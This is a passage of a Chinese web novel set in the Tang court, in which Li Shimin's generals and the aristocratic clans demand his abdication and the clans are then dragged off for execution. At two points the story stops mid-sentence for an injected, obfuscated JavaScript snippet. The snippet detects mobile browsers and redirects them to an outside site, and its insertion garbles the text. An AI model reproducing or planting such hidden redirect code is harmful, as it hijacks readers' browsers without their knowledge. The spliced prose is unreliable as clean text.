他看着那些平日里道貌岸然、此刻却丑态百出的臣子,又看向那个神情淡漠、仿佛一切尽在掌握的儿子。 前所未有的无力感,席卷了他的全身。 他征战一生,尸山血海里闯出一条帝王路,玄武门下亲手终结了手足之情。 他以为自己是天底下最狠、最无情、最懂得权谋的人。 可今天,他输了。 输给了自己的亲生儿子。 人群之中,秦琼和程咬金如遭五雷轰顶,呆立当场。 那份军报上的名字——秦怀玉、程处默,像两根烧红的铁钎,狠狠刺入他们的心脏。 “怀玉……” 秦琼嘴唇嗫嚅,浑身血液仿佛瞬间冻结,那张饱经风霜的老脸刹那间血色尽褪,变得和纸一样白。 他想起了儿子离京时那坚毅的眼神,当时只以为是少年热血,渴望建功立业,却万万没想到,那小子竟然…… 竟然是要去撬他老子的天! “**!” 程咬金一声低吼,铜铃大的眼睛瞪得滚圆,粗壮的脖颈上青筋暴起,像盘虬的怒龙。 他那只握着宣花板斧、历经百战都未曾颤抖的手,此刻却抖得厉害。 他想冲上去揪住李承乾的领子,问问他到底给自家那混小子灌了什么**汤,敢领着兵**! 可他们动不了。 彻骨的寒意从脚底板直冲天灵盖,比当年玄武门下的血腥味还要冷。 恐慌只是一瞬间的事。 这两个从尸山血海里爬出来的老将,几乎是同时,强行将心头的惊涛骇浪压了下去。 他们飞快地对视了一眼,从对方那布满血丝的眼球里,看到了同样的绝望和…… 决绝。 完了。 没退路了。 现在跪下去向李世民磕头求饶? 说自己对儿子的行为一无所知? 骗鬼呢! 李世民会信吗? 那个亲手杀了兄弟,逼着父亲退位的皇帝,那个多疑善变的君主,会相信他们这些手握兵权的老将会对儿子的动向毫不知情? 绝无可能! 一旦太子李承乾兵败,等待他们两家的,不是削爵罢官那么简单。 那将是满门抄斩,诛灭九族! 他们奋斗一生挣下的荣华富贵,他们身后的整个家族,都将化为齑粉。 他们的儿子,已经用百万大军,将他们死死地绑在了太子的战车上。 现在,这条船要么风光无限地驶入太极殿,要么就带着所有人一起沉入万劫不复的深渊。 程咬金粗重地喘着气,胸膛剧烈起伏,他那看似鲁莽的脑袋,在这一刻转得比谁都快。 他看向不远处那个依旧平静如水的太子,心中只有一个念头:赌了! 跟着太子,还有活路! 跟着陛下…… 必死无疑! 秦琼缓缓闭上眼,再睁开时,眼中所有的慌乱都已消失不见,只剩下如铁的冰冷和坚定。 他一生忠义,可忠义在家族存亡面前,又算得了什么? 他向前迈出了一步。 这一步,仿佛用尽了他全身的力气,沉重如山。 “臣,秦琼……” 他沙哑的声音在死寂的大殿中响起,每一个字都从牙缝里挤出来的,“……恳请陛下,顺应天命!” “轰!” 如果说之前的军报是惊雷,那秦琼这句话,就是直接劈在李世民龙椅上的一道天罚! 李世民猛地转头,难以置信地看着自己最信任的翼国公。 然而,这仅仅只是一个开始。 “臣,程咬金,恳请陛下,为了大唐江山,禅位于太子殿下!” 程咬金蒲扇大手攥得咯咯作响,也跟着一步踏出,与秦琼并肩而立。 紧接着,尉迟恭那黑塔身影也动了,他闷声闷气地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253028|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吼道:“臣,尉迟恭,请陛下退位!” “臣,李绩,请陛下禅让!” “臣,段志玄,请陛下禅让!” “臣……” 一个又一个身穿甲胄的武将,那些跟着李世民从刀山火海里杀出来的宿将,那些大唐军方的擎天之柱,此刻,一个接一个地从队列中走出。 他们没有高声喧哗,没有拔刀相向,但他们每一个人,都像一座沉默而又坚实的山,一步步地向前,带着无可阻挡的压迫感,逼近御座。 冰冷的甲叶碰撞声,在大殿中回响,敲击在每一个人的心上。 那些瘫软在地的五姓七望官员,此刻连哭嚎都忘了,他们惊恐地看着这闻所未闻、见所未见的场面。 武将逼宫! 这可是玄武门之变后,再也无人敢想象的场景! 李世民的身躯剧烈地颤抖起来,不是因为恐惧,而是因为愤怒,被最亲近的人背叛的、撕心裂肺的愤怒! 他看着秦琼,看着程咬金,看着尉迟恭,看着一张张他曾经无比熟悉、无比信任的面孔。 这些都是他的兄弟,是他打江山的臂膀! 可现在,他们却用最决绝的方式,要亲手将他从这至高无上的位置上推下去! 热血直冲脑门,李世民的眼前阵阵发黑,他撑着龙椅的扶手,指甲几乎要嵌进木头里。 他用尽全身力气,发出一声震彻大殿的咆哮:“你们……你们这是要逼朕退位啊!” 李世民的咆哮声在大殿中回荡,带着无尽的悲愤与不甘,像一头被逼入绝境的猛兽,发出的最后怒吼。 然而,这声怒吼非但没能震慑住叛乱的臣子,反而一道信号,彻底点燃了另一群人的心思。 那些原本瘫软在地,瑟瑟发抖的五姓七望官员们,此刻正用全新的、混杂着惊恐与贪婪的眼神,飞快地扫视着殿内的局势。 他们的目光从那些巍然不动、甲胄森然的武将身上掠过,感受着那股令人窒息的肃杀之气。 他们又看向御座之上的李世民,看到了他那因极致愤怒而扭曲的面容,看到了他摇摇欲坠的身躯。 最后,所有人的视线,都如同被磁石吸引的铁屑,汇聚到了那个始终沉默、始终平静的太子李承乾身上。 大势已去! 这个念头像瘟疫一样,在这些文官的心中疯狂蔓延。 百万大军围城,开国宿将逼宫。 这已经不是一场政变,而是一场不容置疑的、碾压式的权力交接。 李世民这条船,已经千疮百孔,肉眼可见地正在沉没。 而太子的那艘巨舰,巍峨如山,坚不可摧。 该选哪条船,还需要犹豫吗? 清河崔氏的一名老臣,崔干,他那双浑浊的老眼飞速转动,与不远处的太原王氏、范阳卢氏的几位家主交换了一个心照不神会的眼神。 他们看到了彼此眼中的恐惧,也看到了那份如出一辙的决绝。 忠诚? 气节? 在家族存亡面前,这些东西一文不值! 崔干颤巍巍地从地上爬起,他整理了一下自己因惊恐而弄得凌乱的官袍,袍袖下的双手依旧在发抖,但他的动作却透着异样的坚定。 他猛地转身,不再看御座上的李世民一眼,仿佛那上面坐着的已经不是君临天下的帝王,而是一具即将被扫进历史尘埃的尸体。 他朝着李承乾的方向,双膝一软,“噗通”一声,重重地跪了下去。 紧接着,他将额头死死地磕在冰冷的金砖地面上,用尽全身力气,发出一声嘶哑而又尖利的呼喊:“臣,崔干,拜见吾皇!吾皇万岁,万岁,万万岁!” 这一声,如同推倒了第一块多米诺骨牌。 “噗通!” “噗通!噗通!” 一连串的闷响在大殿中接连响起。 方才还哭天抢地的五姓七望官员们,此刻仿佛训练有素的伶人,争先恐后地转身,朝着李承乾跪倒在地。 丝绸官袍摩擦的声音,膝盖骨与地面碰撞的声音,汇成了一片令人作呕的交响。 “臣等,拜见吾皇!吾皇万岁,万岁,万万岁!!” 山呼海啸呐喊,响彻太极殿。 他们的声音比之前任何时候都要洪亮,充满了劫后余生的庆幸,以及对新主子毫不掩饰的谄媚。 这一幕,比秦琼、程咬金等武将的逼宫,更加具有毁灭性的杀伤力。 如果说武将的背叛是一把捅进李世民心脏的钢刀,那么这些文官的倒戈,就是一群苍蝇,嗡地一声扑上了他血流不止的伤口,疯狂地吸食着他最后的尊严与威望。 “你们……你们这群……无耻的软骨头!” 李世民气得浑身发抖,他指着那些匍匐在地、卑躬屈膝的身影,破口大骂,“朕待你们不薄!你们清河崔氏,朕何曾亏待过!还有你们王氏,卢氏……一群摇尾乞怜的狗!一群数典忘祖的畜生!” 他的骂声凄厉而愤怒,充满了被背叛的痛苦。 他可以理解武将们为了家族前程的**,但他无法容忍这些世家门阀的无耻。 这些人,骨子里就瞧不起他这个靠军功起家的皇帝,现在,他们用最直接、最羞辱的方式,证实了这一点。 听到李世民的怒骂,跪在最前面的崔干,身子微微一僵。 随即,他缓缓地直起了身子。 他没有丝毫的羞愧,脸上反而带着病态的、扭曲的平静。 他慢条斯理地掸了掸膝盖上并不存在的灰尘,仿佛刚才那五体投地的跪拜,只是一次再寻常不过的朝会礼仪。 他抬起头,直视着御座上暴怒的李世民,那双浑浊的眼睛里,此刻竟闪烁着冷酷的光芒。 他扯了扯嘴角,露出一抹讥讽的笑容,慢悠悠地开口,声音不大,却像一根**,精准地刺向李世民最痛的地方。 “太上皇。” 他故意加重了“太上皇”三个字的发音,那是赤裸裸的嘲弄。 “您老了!” 轰! 李世民的脑子嗡的一声,仿佛被一柄无形的重锤狠狠砸中。 他老了? 他竟然说,他老了?! 崔干身后的那些官员也纷纷起身,他们不再畏惧,不再颤抖。 他们看着御座上的李世民,眼神中充满了怜悯、轻蔑,以及毫不掩饰的幸灾乐祸。 太原王氏的家主王裕,一个平日里最是注重仪态的老头,此刻也挺直了腰杆,冷冷地补充道:“太上皇,时代已经变了。我等世家,求的只是顺应天命,保全家族而已。您……已经不是天命所归了。” “没错!” 范阳卢氏的家主跟着附和,“太子殿下,不,是新皇陛下,仁德宽厚,有圣君之相,这才是大唐之福,万民之幸!” “太上皇,您还是好好颐养天年吧!” 一句句冰冷而无情的话语,像一把把尖刀,不断地捅进李世民的心窝。 他气得火冒三丈,一张脸涨成了猪肝色,嘴唇哆嗦着,却一个字也说不出来。 背刺! 这是最彻底,最恶毒的背刺! 他戎马一生,什么样的大风大浪没见过? 什么样的敌人没杀过? 可他从未想过,有一天,他会被自己最信任的兄弟,和他最鄙夷的文臣,用同样的方式,联手钉死在这张龙椅之上! 腥甜的血气直冲喉咙,李世民眼前一黑,身子猛地一晃,险些从龙椅上栽倒下来。 他死死地抓着扶手,指甲深深地嵌进了坚硬的紫檀木中,用尽最后力气撑住自己,不让自己倒下。 因为他知道,他一旦倒下,就再也站不起来了。 而大殿的另一端,李承乾自始至终都没有看那些卑躬屈膝的五姓七望官员一眼。 此时,李世民看向卑躬屈膝的五姓七望官员:“你们让朕禅让?!” “请陛下禅让,顺应天命!” 五姓七望的官员,恬不知耻的跪地高呼。 似乎他们对李承乾,更加虔诚! 第104章 行刑五姓七望! 李世民的胸膛剧烈起伏,那股腥甜的血气被他强行咽了回去。 他看着底下那些刚刚还趾高气扬,宣判他“天命已失”的世家大族,眼中燃起的不再是单纯的愤怒,而是一种毁灭性的、来自九幽地狱的烈火。 禅让? 顺应天命? 好一个顺应天命! 他李世民的天下,是马背上打下来的,是玄武门前用兄弟的血换来的! 什么时候轮到这些靠着祖宗荫庇,只会在朝堂上摇唇鼓舌的腐儒来决定天命的归属?! “你们……” 李世民的声音嘶哑,从撕裂的喉咙中挤出,每一个字都带着血。 “……很好!” 他突然笑了,笑声干涩而恐怖,像夜枭在啼哭。 那笑声戛然而止,化作一声石破天惊的怒吼,整个太极殿的梁柱都在嗡嗡作响! “苏定方!” 这声咆哮,蕴含着帝王一生的杀伐与威严,穿透了宫殿的墙壁,撕裂了广场上空的阴云,如同一道惊雷,炸响在玄武门外! 死寂。 殿内所有人都被这声怒吼震得心神俱裂,连呼吸都忘了。 下一刻,一道同样雄浑如雷的声音从玄武门方向滚滚而来,带着金戈铁马的肃杀之气! “臣在!” 仅仅两个字,却有千军万马在齐声应答。 那是忠诚,是力量,是皇帝手中最锋利的刀! 崔干那张病态平静的脸,终于在这一刻龟裂了。 王裕那刚刚挺直的腰杆,也抑制不住地开始颤抖。 他们算计了一切,算计了人心,算计了太子,甚至算计了皇帝的衰老与疲惫。 但他们唯独忘了,这头雄狮即便老了,爪牙依旧锋利! 李世民猛地站起身,龙袍鼓荡,他单手指向殿下那群面如土色的五姓七望官员,每一个字都从牙缝里迸出来的,带着浓烈的血腥味。 “把这些个卖主求荣,意图谋逆的乱臣贼子,给朕——” 他顿了一下,目光如刀,扫过每一个人惊恐万状的脸。 “——统统拿下!” 话音未落,玄武门外传来山崩地裂巨响。 “哐当!哐当!哐当!” 那是成千上万副铁甲碰撞的声音,是无数只军靴踏在青石板上的声音! 声音整齐划一,沉重如山,每一下都砸在人心口上,让人喘不过气。 阳光被遮蔽了。 无数身披玄甲、手持横刀的长安守卫军,如同黑色的铁流,从玄武门汹涌而入,瞬间就塞满了整个广场,肃杀之气直冲云霄。 为首的几名将官大步流星冲入殿内,看也不看御座之下的太子李承乾,对着龙椅上的李世民单膝跪地,声若洪钟。 “遵旨!” 随即,他们猛然起身,冰冷的目光锁定了崔干、王裕等人。 “拿下!” 一声令下,如狼似虎的士兵们冲了上去。 “啊!” “你们敢!” “我是朝廷命官!尔等乱兵,安敢如此!” 刚才还不可一世的世家官员们,此刻彻底慌了神。 他们身上的锦绣官袍被粗暴地撕扯,头上的官帽滚落在地,被人一脚踩得粉碎。 平日里养尊处优的身体,哪里是这些百战老兵的对手? 崔干还想挣扎,一个如铁钳大手直接捏住了他的脖子,将他狠狠掼在地上。 他那张老脸与冰冷的地面亲密接触,磕出了一嘴的血。 王裕被人反剪着双臂,像拖死狗一样往外拖,口中还在语无伦次地尖叫:“太子殿下!太子殿下救我!我等皆是为殿下效力啊!” 范阳卢氏的家主更是丑态百出,裤裆一片湿热,竟是当场吓尿了。 整个大殿,瞬间从庄严肃穆的朝堂,变成了血腥混乱的屠宰场。 哭喊声,咒骂声,求饶声,不绝于耳。 而李世民,就那么站着,冷酷地看着这一切。 他的目光越过这些如同猪狗般被拖拽出去的“乱臣贼子”,落在了大殿另一端。 李承乾始终站在那里,一动不动。 他背着手,神情淡漠,眼前发生的一切,不过是一场与他无关的闹剧。 他的眼神没有波澜,既没有阻止,也没有表态。 那份超然物外的冷静,比任何言语都更具威胁。 李世民的心,猛地一沉。 他知道,他可以肆无忌惮地处理五姓七望这些墙头草,因为他们是“臣”,是奴才。 但他不敢动李承乾。 因为李承乾是他的儿子,是太子,更是这盘棋局中,唯一能与他抗衡的对手。 动他,就是彻底撕破脸,就是父子相残,就是大唐内乱! 这个代价,他付不起。 李世民的拳头在袖中捏得咯咯作响,指甲几乎要刺破掌心。 滔天的恨意,混杂着无力的憋屈,在他胸中疯狂翻涌。 他恨! 恨这些吃里扒外、卖主求荣的**! 你们不是觉得朕老了吗? 不是觉得天命在那个逆子身上吗? 好! 朕今天就让你们看看,在朕咽下最后一口气之前,这大唐的天,究竟是谁的天! 李世民的眼神变得无比狰狞,他在心中对着那些被拖出殿外的身影无声咆哮。 等着吧! 朕要亲眼看着你们在玄武门前被凌迟处死! 朕要将你们的皮,一张一张地刮下来! 朕要让你们的哀嚎,响彻整个长安城! 朕要让天下所有人都看看,背叛朕,是个什么下场! 混乱中,被两名玄甲卫士架着胳膊向外拖拽的王裕,脖颈上的青筋暴起,一张因恐惧而扭曲的脸猛地转向殿内另一侧。 他用尽了全身的力气,发出一声嘶哑的尖啸,那声音刺破了所有嘈杂,回荡在空旷的大殿里。 “太子殿下!太子殿下啊!” 他那双浑浊的老眼里,此刻迸发出一种垂死挣扎的狂热光芒,死死地钉在李承乾的身上。 “我等所为,皆是为殿下扫清障碍啊!这老……这太上皇昏聩无道,倒行逆施!他才是大唐的乱源!” 这一声石破天惊的呼喊,让整个大殿的空气瞬间凝固。 拖拽他的士兵动作一滞。 殿内尚未被波及的官员们呼吸一窒。 所有人的目光,如同被无形的线牵引,齐刷刷地汇聚到了李承乾的身上。 被掼在地上,满嘴是血的崔干,抓住了最后一根救命稻草,也挣扎着抬起头,用一种近乎癫狂的语气附和道:“没错!殿下!我等是殿下的忠臣啊!” 他努力地想在地上叩首,可身体被死死按住,只能徒劳地耸动着肩膀,涕泪横流地哭嚎。 “李世民篡位**,本就得位不正!如今更是刚愎自用,打压世家,与我等为敌!天下苦秦久矣!臣等,臣等是为殿下出头啊!” 这番话,比刚才的更加露骨,更加诛心。 “请陛下登临大宝!拨乱反正!” “陛下!!” “求陛下下旨,诛杀太上皇!以安天下人心!” “陛下!我等愿为陛下赴死!” 一时间,那些被拖拽的,被按倒在地的五姓七望官员们,找到了宣泄的出口和求生的希望,纷纷发出歇斯底里的呐喊。 一声声“陛下”,一句句“诛杀太上皇”,如同一记记最响亮的耳光,狠狠抽在李世民的脸上。 他站在那里,身体开始无法抑制地微微颤抖。 那不是恐惧,而是愤怒。 是滔**火烧灼着他的五脏六腑,几乎要从他的七窍中喷涌而出! 太上皇? 他李世民,开创贞观盛世的天可汗,竟然在自己的太极殿上,被一群他亲手提拔起来的走狗,称作“太上皇”? 还要被“诛杀”? 他赐予他们高官厚禄,他容忍他们盘踞朝堂,他让他们享受了这世间顶级的荣华富贵。 结果呢? 这些人,转过头,就跪在了他儿子的面前,摇着尾巴,献上他的人头,作为投诚的礼物! 李世民的牙齿咬得咯咯作响,腥甜的铁锈味在他口中弥漫开来。 他的双眼赤红,布满了血丝,死死地盯着那些丑态百出的“忠臣”,又缓缓地,一寸一寸地,移向了他那个始终静立不动的儿子。 他看见了什么? 李承乾脸上,没有欣喜,没有得意,甚至没有一毫的动容。 他只是那么站着,在看一场与自己毫不相干的拙劣戏剧。 终于,在所有人的注视下,在那些官员们充满希冀的哀嚎声中,李承乾动了。 他缓缓地抬起眼皮,那双深不见底的眸子,淡漠地扫过地上那些哭喊的人。 他的目光,就在看一堆腐烂发臭的垃圾。 然后,他开口了。 声音不大,却异常清晰,带着一种刺骨的冰冷。 “一群没用的东西。” 他轻轻地说,嘴角甚至还噙着若有若无的讥诮。 “也配在本宫面前狺狺狂吠?” 话音落下,大殿之内,死的寂静。 那些还在哭嚎的官员们,声音戛然而止,被人猛地掐住了脖子。 他们脸上的狂热和希冀,瞬间凝固,然后碎裂,化作了彻头彻尾的绝望和呆滞。 他们不明白。 为什么? 太子殿下为什么会是这个反应? 我们是在为你效忠啊! 我们是在为你铺平登基的道路啊! 李承乾却没有再看他们一眼。 他转过头,目光平静地迎上了李世民那双几乎要喷出火来的眼睛。 父子二人的视线,在空中激烈地碰撞,无声地厮杀。 “父皇,” 李承乾的声音依旧平淡,听不出任何情绪,“这些背主求荣的乱臣,该如何处置,您是君,您说了算。” 他将“君”这个字,咬得格外清晰。 李世民胸膛剧烈地起伏着,他死死地盯着李承乾,要将他的灵魂都看穿。 他听出了那句话里的潜台词。 你才是君,现在是。 但以后,就未必了。 “好……好……好一个朕的好儿子!” 李世民从牙缝里挤出这几个字,他指着殿外,对着那些呆若木鸡的玄甲卫士发出一声怒吼,“还愣着干什么!给朕拖出去!全部拖到玄武门外!!” “朕要让他们,求生不得,求死不能!” 卫士们如梦初醒,不再有任何犹豫,用更大的力气拖拽着那些已经彻底瘫软如泥的官员。 这一次,再也没有人哭喊求饶。 只有绝望的呜咽和身体摩擦地面的声音。 大殿很快被清空,只剩下浓郁的血腥味和尿骚味,证明着刚才发生的一切。 李世民喘着粗气,双目依旧赤红。 他看着空荡荡的大殿,又看着面无表情的李承乾。 前所未有的无力感,混合着深入骨髓的寒意,席卷了他的全身。 他赢了吗? 他把五姓七望这些跳梁小丑踩在了脚下。 可他却感觉自己输得一败涂地。 他输给了自己的儿子。 那个他曾经以为平庸无能,甚至有些懦弱的儿子。 就在李世民心头被这股寒意侵蚀得麻木时,殿外,那群被拖拽的官员们终于从李承乾那句冰冷裁决的震撼中挣脱出来。 死寂被一道凄厉的惨叫撕裂。 “不!太子殿下!您不能这样!” 是清河崔氏的一名旁支官员,他刚刚还在幻想着家族凭借这次从龙之功,压过陇西李氏,重振声威。 可现在,他被两个玄甲卫士像拖死狗一样拖在地上,官帽歪了,发髻散乱,脸上混着鼻涕和眼泪。 他的喊声像一个信号。 瞬间,所有被压抑的恐慌,所有破灭的幻想,所有对死亡的恐惧,如同决堤的洪水,轰然爆发。 “太子殿下,我们是为你好啊!” “我们是忠于您的!我们冒着诛九族的风险,为您扫清障碍,您怎能……怎能将我们推入火坑?” “误会!这一定是有什么误会!殿下,您再看看我们啊!” 这些不久前还道貌岸然、指点江山的世家大族代表们,此刻彻底撕下了伪装。 他们扭动着身体,试图挣脱卫士的钳制,手脚在冰冷坚硬的地面上胡乱抓挠,发出令人牙酸的摩擦声。 他们想不通,也无法接受。 剧本不该是这样演的。 百万大军压境,太子手握兵权,武将们已经逼宫,皇帝已是笼中之鸟。 他们这些文臣再添一把火,逼迫皇帝退位,这便是板上钉钉的从龙之功! 等到太子登基,他们便是新朝最大的功臣,家族的荣耀将延续百年,甚至千年! 可谁能想到,这位他们选中的“新君”,竟然根本不领他们的情! 他不但不领情,还用最轻蔑的姿态,将他们当成垃圾一样,一脚踢回了李世民的屠刀之下。 这份打击,比直接杀了他们还要让他们绝望。 “一群没用的东西。” 李承乾那句话,像魔咒一样在他们脑海里回响。 原来,在太子眼里,他们所谓的“投诚”,所谓的“效忠”,不过是一场“狺狺狂吠”的闹剧。 他们自以为是棋手,殊不知,自己连做棋子的资格都没有。 恐惧,彻骨的恐惧,抓住了每一个人的心脏。 为首的太原王氏官员,那个刚才还慷慨陈词,历数李世民“罪状”的老臣,此刻猛地回过神来。 他停止了对李承乾的哀求,转而将那张涕泪横流的老脸,拼命地朝向大殿之内。 他的目标,是那个依旧站在殿上,浑身散发着暴怒气息的帝王。 “陛下!陛下饶命啊!” 他用尽全身力气,匍匐在地,额头一下一下地重重磕在冰冷的石板上,发出“砰、砰、砰” 的闷响。 “陛下!臣……臣是一时糊涂!臣是被猪油蒙了心啊!” “臣是被奸人蛊惑,求陛下明察!求陛下开恩啊!” 这一声,点醒了所有人。 他们终于意识到,唯一能决定他们生死的,不是那个冷漠的太子,而是他们刚刚背叛的君主。 于是,求饶的对象瞬间转换。 “陛下!饶了我们吧!我们再也不敢了!” “我们上有老下有小,求陛下念在往日的情分上,饶我们一命!” “是崔家!是崔家先挑头的!我们是被逼的啊陛下!” “不!是王家!是他们串联的!” 丑态,在死亡面前暴露无遗。 他们开始互相攀咬,拼命地想把罪责推到别人身上,只为给自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253029|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 求得一线生机。 刚刚还同仇敌忾的“盟友”,此刻成了不共戴天的仇人。 整个玄武门前,化作了一片鬼哭狼嚎的人间地狱。 他们的官袍在拖拽中被撕裂,沾满了尘土和污迹。 金玉腰带断裂,散落一地,发出清脆而讽刺的响声。 有人吓得屎尿齐流,腥臊的气味混杂着血腥味,弥漫在空气中,令人作呕。 大殿之内,李世民冷冷地听着殿外的哀嚎。 他的胸膛依旧在起伏,但那双赤红的眼睛里,除了怒火,更多了一层冰冷的死寂。 他看着那些人,就像在看一群蠕动的蛆虫。 恶心。 无比的恶心。 他没有丝毫的快感,只有一种被玷污、被背叛后的深深厌恶。 他的目光,不自觉地又飘向了李承乾。 他的儿子,从始至终,连眼皮都未曾多抬一下。 殿外那些人的生死挣扎,那些丑陋的表演,都与他无关。 他只是静静地站着,身姿挺拔如松,面容平静如水。 那份超然物外的冷漠,让李世民的心,一寸寸地沉了下去。 “父皇,” 李承乾终于再次开口,声音里听不出任何波澜,“您若是不忍,现在下令收回成命,也还来得及。” 他顿了顿,嘴角勾起一抹几乎看不见的弧度。 “毕竟,他们也曾是您倚重的肱骨之臣。” 这话,像一把淬了毒的锥子,狠狠扎进李世民的心里。 不忍? 倚重? 这是在提醒他,这些背叛他的人,曾是他亲自提拔、信任的臣子! 这是在嘲讽他的识人不明! 更深层的,是在试探。 试探他这个“君”,是否还心慈手软,是否还顾念旧情。 李世民的拳头,在宽大的龙袖下,握得死紧。 指甲深深陷入掌心,带来尖锐的刺痛,才让他勉强维持住帝王的尊严。 他知道,他不能有任何的犹豫。 在李承乾面前,任何的软弱,都将是致命的。 “来人!” 李世民的声音嘶哑,却带着不容置疑的决绝,他对着殿外的玄甲卫士,发出了最后的指令,“堵上他们的嘴!立刻行刑!” “朕不想再听到任何声音!” “是!” 玄甲卫士们动作冰冷而高效,沉重的甲胄碰撞出死亡的序曲。 他们像一群没有感情的钢铁傀儡,走向那些瘫软在地、哭嚎不止的朝廷大员。 粗暴的手掌扼住他们的脖颈,撕烂的布条被狠狠塞进他们的嘴里,将那些求饶、咒骂、攀咬的声音尽数堵回了喉咙深处。 “呜……呜呜……” 最后的哀鸣被压抑成野兽呜咽。 空气中,那股腥臊与血腥混杂的气味愈发浓重,令人窒息。 死亡的阴影,如同实质的黑幕,笼罩在玄武门前,压得人喘不过气。 大殿之内,李世民紧绷的身体终于有了松弛。 他像一个溺水之人,在即将窒息的瞬间,终于摆脱了缠绕住他的水草。 殿外那片丑陋的喧嚣,是他身为帝王的最大耻辱,如今,这耻辱即将被鲜血洗刷。 然而,就在屠刀即将落下的前一刻。 一个身影,疯了从殿内冲了出来。 他穿着陇西李氏族长的华贵官袍,此刻却被撕扯得不成样子,金冠歪斜,发髻散乱,整个人如同从坟墓里爬出的厉鬼。 是李泰煦。 他冲到殿门槛前,双膝重重跪地,枯瘦的手指死死扒着门框,指甲迸裂,渗出鲜血。 他用尽全身力气,发出一声撕心裂肺的嘶吼,声音尖利得刺破了这片压抑的死寂。 “陛下!该死的不该是他们!” 这一声,如同平地惊雷。 所有人的动作都僵住了。 正要行刑的玄甲卫士,动作停滞,冰冷的面甲下,目光齐齐投向大殿门口。 那些被堵住嘴的官员们,瞪大了惊恐的眼睛,绝望的瞳孔里,因为这突如其来的变故,燃起了微弱而荒谬的火苗。 李泰煦双目赤红,布满血丝,死死地盯着殿内龙椅上的李世民。 他不管不顾地用头颅撞击着地面,发出沉闷的“咚咚”声。 “该死的是他!是太子李承乾!他才是这一切的罪魁祸首!是他啊陛下!” 他的手指,离开了门框,颤抖着、决绝地指向了那个从始至终都如局外人般静立的年轻身影。 李承乾。 所有人的目光,都随着李泰煦的手指,聚焦在了李承乾的身上。 李承乾终于动了。 他没有看状若疯癫的李泰煦,甚至没有看龙椅上脸色瞬间变得铁青的父亲。 他只是微微低下头,慢条斯理地拂了拂自己袖口上并不存在的灰尘。 那份从容,那份淡漠,与李泰煦的癫狂形成了最尖锐、最刺眼的对比。 那穿心刺骨的指控,不过是一阵拂过耳畔的微风,连让他皱一下眉头的资格都没有。 “李泰煦!” 李世民的咆哮,几乎要掀翻整座大殿的屋顶。 他刚刚才用雷霆手段压下的混乱,才勉强找回的帝王威严,被李泰煦这一声嘶吼,撕得粉碎! 他的胸膛剧烈起伏,刚刚平复下去的血液再次冲上头颅,太阳穴突突直跳。 他死死盯着跪在殿外的李泰煦,那眼神,恨不得将他生吞活剥。 “你要为五姓七望求情?” 李世民的声音嘶哑,每一个字都从牙缝里挤出来的,带着血腥的味道。 “你瞎了吗!你没看见他们刚才如何逼迫朕吗?!” 他猛地一拍龙椅扶手,那沉重的木料发出一声不堪重负的巨响。 “他们要朕下罪己诏!要朕禅让!要朕死!!” 最后的“死”字,他几乎是吼出来的,带着无尽的**和暴怒。 他觉得荒谬,觉得可笑。 陇西李氏,他李唐的同宗,族长被李承乾杀得只剩下一个光杆司令,现在,他竟然要为那些逼死君主的叛逆求情? 这世道,是彻底疯了吗? 李承乾对这些背主求容的五姓七望官员,没有任何好脸色。 此刻,他终于抬起眼皮,那双幽深的眸子扫过殿外那一张张或惊恐、或希冀的脸,最终落在了李泰煦的身上。 他的眼神里没有愤怒,没有惊讶,只有一种居高临下的、近乎悲悯的…… 厌烦。 就像在看一只在蛛网中徒劳挣扎的飞蛾。 李泰煦对上李承乾的目光,浑身一颤,那眼神里的轻蔑,比任何刀剑都更加伤人。 他心中的仇恨瞬间被引爆,盖过了对帝王之怒的恐惧。 “臣不是为他们求情!” 他凄厉地叫着,额头的鲜血混着泥土,糊满了他的脸,“臣是要揭发!揭发这个逆子!这个恶魔!” 他再次将头重重磕下,哭嚎道:“陛下,您被骗了!我们所有人都被他骗了!清河崔氏是他灭的!我陇西李氏满门,也是被他屠尽的啊!他才是那个藏在幕后,搅动风云,意图颠覆我大唐江山的罪魁祸首!” “这些世家,不过是他手中的棋子!是他故意纵容,引诱他们犯下今日这等大错!为的就是借您的手,清除异己!陛下!您不能杀他们,您若是杀了他们,就正中了这个逆子的下怀啊!” 第105章 朕先杀你! 李世民的理智,在那一刻被烧得一干二净。 他肺腔里的空气凝固成了滚烫的岩浆,灼烧着他的五脏六腑。 指控承乾? 揭发逆子? 不,李世民根本没在听这些。 他的脑海里,只有一个念头,一个荒谬到可笑、却又耻辱到锥心的念头。 这个流着李家血脉的族长,这个刚刚还摇尾乞怜的丧家之犬,竟然还敢开口! 他竟然还敢为那些刚刚才把他逼到悬崖边上的五姓七望,说半个字! “闭嘴!” 李世民的怒吼,不再是咆哮,而是一种撕裂般的尖啸。 他通红的眼睛死死锁住李泰煦,那目光不再是愤怒,而是一种纯粹的、要将眼前之物彻底抹除的杀意。 “朕先杀你!” 他从龙椅上霍然起身,金冠上的珠帘疯狂摇晃,发出清脆而杂乱的撞击声。 “五姓七望那些猪狗不如的东西,他们背主求荣的时候,你瞎了狗眼没看见吗!” 每一个字,都带着刀锋,割裂着大殿内死寂的空气。 “来人!” 李世民的手臂猛然挥下,直指殿外那个污秽不堪的身影。 “给朕……把他拖进来!立刻行刑!” 命令如山崩。 一直侍立在玄武门两侧,气息沉凝如铁的长安守卫军甲士闻声而动。 “喏!” 